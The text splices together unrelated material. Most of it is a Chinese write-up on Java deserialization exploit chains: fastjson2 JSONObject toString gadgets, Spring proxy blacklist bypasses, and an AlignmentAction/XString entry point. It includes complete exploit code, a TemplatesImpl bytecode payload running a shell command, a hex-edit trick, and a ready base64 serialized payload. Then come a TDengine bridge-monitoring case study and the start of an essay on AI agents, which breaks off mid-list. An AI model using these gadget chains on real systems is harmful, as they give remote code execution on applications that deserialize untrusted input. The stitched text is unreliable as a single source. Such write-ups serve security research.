    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

运行在反序列化时弹出计算机,并且调试符合前面的过程。

同样是可以使用两个接口来进行前面所述的利用:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.MBeanServer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        //第一个SONObject代理
        JSONObject jsonObject0 = new JSONObject();
        jsonObject0.put("object",templates);
        Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);

        //第二个代理
        Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
        constructor.setAccessible(true);
        Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxy1);

        //toString
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

同样在最新版本2.0.58也能打。

非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

新的反序列化toString入口类

基本说明

在先知文章看到的一个新的入口点:

https://xz.aliyun.com/news/18467

文中提到的链子如下:

javax.swing.AbstractAction#readObject ->
    javax.swing.AbstractAction#putValue ->
        javax.swing.AbstractAction#firePropertyChange ->
            com.sun.org.apache.xpath.internal.objects.XString#equals

所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

AbstractAction类的readObject()方法:

图片.png

再跟进putValue()方法:

图片.png

再看firePropertyChange()方法:

图片.png

很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

再看writeObject()方法:

图片.png

整个过程都是与arrayTable变量相关的:

图片.png

由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

基本过程已经清楚,现在来尝试构造。

尝试构造

首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

图片.png

这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

来看AlignmentAction的构造函数:

图片.png

这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

图片.png

NAME变量定义如下:

图片.png

故这里会在实例化时就放进去一个键值对。

这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

public void putValue(String key, Object newValue) {
        Object oldValue = null;
        if (key == "enabled") {
            if (newValue == null || !(newValue instanceof Boolean)) {
                newValue = false;
            }
            oldValue = enabled;
            enabled = (Boolean)newValue;
        } else {
            if (arrayTable == null) {
                arrayTable = new ArrayTable();
            }
            if (arrayTable.containsKey(key))
                oldValue = arrayTable.get(key);
            // Remove the entry for key if newValue is null
            // else put in the newValue for key.
            if (newValue == null) {
                arrayTable.remove(key);
            } else {
                arrayTable.put(key,newValue);
            }
        }
        firePropertyChange(key, oldValue, newValue);
    }

毫无疑问这里主要的逻辑就是:

arrayTable = new ArrayTable();
arrayTable.put(key,newValue);
firePropertyChange(key, oldValue, newValue);

也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

图片.png

这里有一个非常关键的逻辑:||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在<u>序列化前放入键值对无影响</u>,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

跟进changeSupport变量的定义:

图片.png

找到对应的SwingPropertyChangeSupport类:

图片.png

故我反射修改变量changeSupport为这个类实例即可。

并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

故可以简单尝试构造如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;

public class Main{
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);

        XString xstring = new XString("fupanc1233");

        StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
        alignmentAction.putValue("Name",null);
        alignmentAction.putValue("fupanc1",xstring);
        alignmentAction.putValue("fupanc2",jsonObject);

        //任意可序列化的类作为参数都行
        HashMap hashMap = new HashMap();
        SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);

        setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(alignmentAction);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = null;
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

图片.png

从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

图片.png

很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

图片.png

虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

package org.example;

import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;

public class Main{
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc", proxyObj);

        XString xstring = new XString("text");

        StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
        alignmentAction.putValue("Name",null);
        alignmentAction.putValue("fupanc1",xstring);
        alignmentAction.putValue("fupanc2",jsonObject);

        //任意可序列化的类作为参数都行
        HashMap hashMap = new HashMap();
        SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);

        setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(alignmentAction);
        out.close();

//        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
//        in.readObject();
//        in.close();

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = null;
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

图片.png

然后就可以愉快的反序列化弹计算机了:

图片.png

是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果

最后贴一个mac环境下的paylaod验证:

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
//        byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
//        System.out.println(Base64.getEncoder().encodeToString(data));

        String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
        ois.readObject();
        ois.close();
    }
}

参考文章:

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

https://xz.aliyun.com/news/14333

https://arthas.aliyun.com/doc/quick-start.html

https://xz.aliyun.com/news/18467

小T导读:山西省智慧交通实验室在桥梁健康监测中面临数据孤岛、预警滞后、分析依赖技术人员等管理瓶颈。以 TDengine IDMP 为核心构建统一数据底座后,实现了多源监测数据的集中治理、分钟级主动预警和面向业务的一线自助分析,促使桥梁监测从“被动养护”转向“主动干预”。系统上线后显著提升响应效率、降低运维成本,并具备跨桥梁/隧道/边坡的复制与推广能力,为智慧交通提供可落地的规模化实践路径。本文将结合本次落地项目,从痛点、方案与成效三个维度展开。

1. 合作背景

随着我国基础设施建设的跨越式发展,桥梁里程与大型桥梁数量屡攀新高。截至 2023 年底,山西省公路桥梁总数已突破 3.3 万座,总长度超 1.5 万延米,其中特大桥近 200 座。作为连接经济动脉与人文交流的“生命线”,桥梁的安全与否,直接牵系千家万户的幸福、社会经济的脉动乃至国家发展的韧性。

然而,桥梁在长期服役中,时刻面临环境侵蚀、材料老化、荷载疲劳等多重挑战。2020 年虎门大桥涡振事件,更是为行业敲响警钟——构建实时感知、智能预警、精准评估的桥梁健康监测体系,已刻不容缓。

在此背景下,山西省智慧交通实验室有限公司与涛思数据强强联合,以 TDengine IDMP(AI 原生的工业数据管理平台)为核心平台,开展桥梁监测管理的深度创新,共同推动监测体系向数字化、智能化全面跃升。

2. 直面管理痛点:从“可见”到“可控”

传统桥梁监测系统往往数据分散、协同困难,预警依赖人工判断,导致决策链条长、响应速度慢。管理者难以全面、实时掌握结构安全状态,更无法实现风险的提前干预。TDengine IDMP 的引入,首先致力于破解这一核心管理困境:

  • 一体化治理,打通数据血脉:平台通过逻辑统一的数据目录,将温湿度、风速、应变、振动等多源异构传感器数据实时汇聚、关联对齐。管理者可通过清晰的数据资产视图,全面感知桥梁运行状态,彻底告别“数据孤岛”。
  • 敏捷预警,化被动为主动:基于可视化、低代码的规则配置界面,业务人员可直接根据行业规范快速部署监测指标与告警阈值。系统实现从“小时级”、“天级”响应到“分钟级”、“秒级”自动告警的跃升,真正将风险管控关口前移。
  • 智能交互,赋能业务团队:通过自然语言查询(“智能问数”)与自动看板生成(“无问智推”),一线管理人员无需依赖技术团队即可自主完成数据探查与分析。大幅降低技术门槛,缩短从“数据”到“洞见”的路径,提升整体组织的数据利用能力。

3. 带来的业务价值

  • 运营效率显著提升:监测全流程实现数字化闭环,预警响应效率提升数个量级,为结构异常处置赢得宝贵时间。
  • 运维成本有效降低:减少对专属数据分析与开发资源的长期依赖,赋能现有业务团队,实现降本增效。
  • 系统扩展性增强:基于平台的模板化配置能力,本次构建的监测模型与管理流程可快速复制、推广至其他桥梁乃至隧道、边坡等基础设施,极大提升了投资复用率与规模化部署速度。
  • 决策支持科学化:通过多源数据融合与 AI 辅助分析,为桥梁健康状况评估、养护优先级排序及长期性能预测提供持续、可靠的数据支撑,推动养护决策从“经验驱动”迈向“数据驱动”。

4. TDengine IDMP 应用场景

4.1 打破数据孤岛,实现一体化管理

依托 TDengine 时序数据库的虚拟表技术,TDengine IDMP 能够将温湿度传感器、风速风向仪、应变传感器、加速度传感器等各类异构采集设备的数据,通过时间序列对齐方式,统一汇聚至同一虚拟设备进行集中管理。仅需通过简单的模板配置,即可快速构建清晰的数据目录,将原本分散于多张超级表中的数据整合至统一入口,实现数据资源的集中化应用

例如,我们通过在“基础库”页面创建元素模板,可将数据库中的原始数据映射为具有业务含义的结构化元素;

而在“元素浏览器”中,则可对整座桥梁的全维度监测数据进行统一管理与调用。

4.2 灵活配置预警机制,提升安全响应能力

2020 年 5 月虎门大桥涡振事件后,桥梁结构安全监测的重要性进一步凸显。中华人民共和国交通运输部于 2022 年修订发布了新版《公路桥梁结构监测技术规范》,对各类桥梁的监测内容、测点布置与应用实施提出了明确要求。

借助 TDengine IDMP,可根据规范灵活配置预警规则。以主梁涡振一级告警为例,系统支持直接设定“10 分钟振动加速度均方根值超过 31.5 厘米每平方秒”作为触发条件,并通过可视化界面快速完成规则配置与启用。这种低代码化的操作方式,避免了传统模式下繁琐的程序开发流程,大幅缩短了系统部署与迭代周期。

在具体实施中,我们在对应监测元素的“分析”页面中,直接创建振动加速度的实时计算任务,并设定阈值判断逻辑,从而实现超限自动告警。

我们使用模拟数据模拟告警触发的场景,顺利地收到了告警邮件。

除了邮件通知,TDengine IDMP 还提供了通过飞书或 Webhook 的方式,方便我们将告警功能集成到现有系统。

4.3 AI 赋能业务交互,推动监测智能化

传统系统开发过程中,业务需求与功能实现常需经过业务人员与技术人员多轮沟通,周期长、效率低。TDengine IDMP 提供的“智能问数”功能,允许业务人员通过自然语言直接与系统交互,快速生成所需的数据看板与分析视图,有效缩短了需求响应路径。

例如,只需在“面板”界面输入“显示龙门黄河特大桥过去一周每天的最高最低气温”,系统即可自动解析语义并生成对应的温度趋势图表,全程无需手动配置。

同样,在“分析”界面中输入“当最大风速超过 25 米每秒并持续 10 分钟时触发告警”,系统会自动构建完整的告警规则,仅需确认并保存即可投入使用。

此外,平台还支持基于桥梁监测数据目录通过大语言模型自动衍生多种监测指标,可根据其中提供的 SQL 语句构建多种指标体系与可视化面板,进一步增强数据分析的深度与广度。

5. 未来展望

当前合作成果已初步验证了数据平台在桥梁监测领域的强大赋能作用。未来我们将以此次成功实践为基石,在更广阔的维度深化与 TDengine 的协作:

  • 技术融合深化:进一步探索 AI 模型在结构损伤识别、寿命预测等深度分析场景的应用。
  • 应用场景拓展:将一体化智能监测模式延伸至智慧路基、车路协同、数字孪生等领域。
  • 生态标准共建:共同总结可复制、可推广的智慧交通基础设施数据管理范式,为行业数字化升级提供实践参考。

6. 结语

数字化转型的核心,在于通过技术手段重塑管理流程与决策模式,本次合作正是这一理念的生动实践。依托时序数据库 TDengine TSDB 与工业数据管理平台 TDengine IDMP,结合“无问智推”等智能交互能力,这一套平台化的数据底座不仅提升了单点桥梁的监测能力,更构建了一套适应未来发展的、具备弹性与智能演进能力的数据基础设施。我们相信,以数据为纽带,管理与技术深度融合,必将为交通基础设施的长期安全与高效运营注入持久动力。

7. 关于山西省智慧交通实验室有限公司

山西省智慧交通实验室有限公司是山西交通控股集团有限公司的成员单位,自 2022 年 10 月批准建设以来,作为山西省树立的省级实验室建设标杆,聚焦交通基础设施数字化、交通基础设施智慧建养、交通安全与智能装备、交通大数据与车路协同、基础设施绿色低碳技术 5 大研究方向,致力于提升智慧交通领域原始创新能力、突破交通行业发展技术瓶颈,为山西省乃至全国交通现代化建设提供技术支撑与示范。

作者:高浩 研究员

结论先行:
智能体(AI Agent)从 0 到 1 的真正起点,不是“接入一个大模型”,
而是构建一个可以围绕目标自主运行的闭环系统

在生成式 AI 从“能回答问题”走向“能完成任务”的过程中,智能体(AI Agent)\被普遍视为迈向 AGI 的阶段性形态。但大量实践表明,很多所谓“智能体”,本质仍停留在\对话增强工具的层面。

这篇文章尝试回答一个更本质的问题:
什么才算,真正迈出了智能体构建的第一步?


一、核心判断:大模型 ≠ 智能体


一个清晰、可被复用的定义是提高认知效率的前提。

智能体(AI Agent)不是一个模型,而是一套系统。

它以大语言模型(LLM)作为“决策中枢”,但必须同时具备四个能力模块:

  • 感知(Perception):接收并解析环境信息(文本、结构化数据、外部状态)
  • 规划(Planning):将目标拆解为可执行的子任务(如 ReAct / CoT)
  • 记忆(Memory):短期上下文 + 长期知识(RAG)
  • 工具调用(Tool Use):通过 API 操作真实世界的数据与系统

👉 判断标准一句话版:

如果它只能“回答”,它不是智能体;
如果它能“推进任务状态”,它才是。

二、真正的第一步:构建「可失败、可反馈」的工作流


很多团队在起步阶段把精力放在提示词工程上,这是一个常见但错误的第一步

1️⃣ 用“任务图谱”替代“超级提示词”

一个智能体的能力上限,取决于任务拆解的清晰度

例如,一个论文分析智能体,应至少具备如下流程节点:

  1. 解析摘要与关键词
  2. 检索相关文献(RAG / 搜索)
  3. 对比实验或方法差异
  4. 结构化生成分析报告

这不是 Prompt,而是流程图


2️⃣ 引入环境反馈,形成闭环

智能体与脚本的本质区别在于:
它能否处理失败。

  • 工具调用失败 → 是否自动重试?
  • 数据缺失 → 是否切换路径?
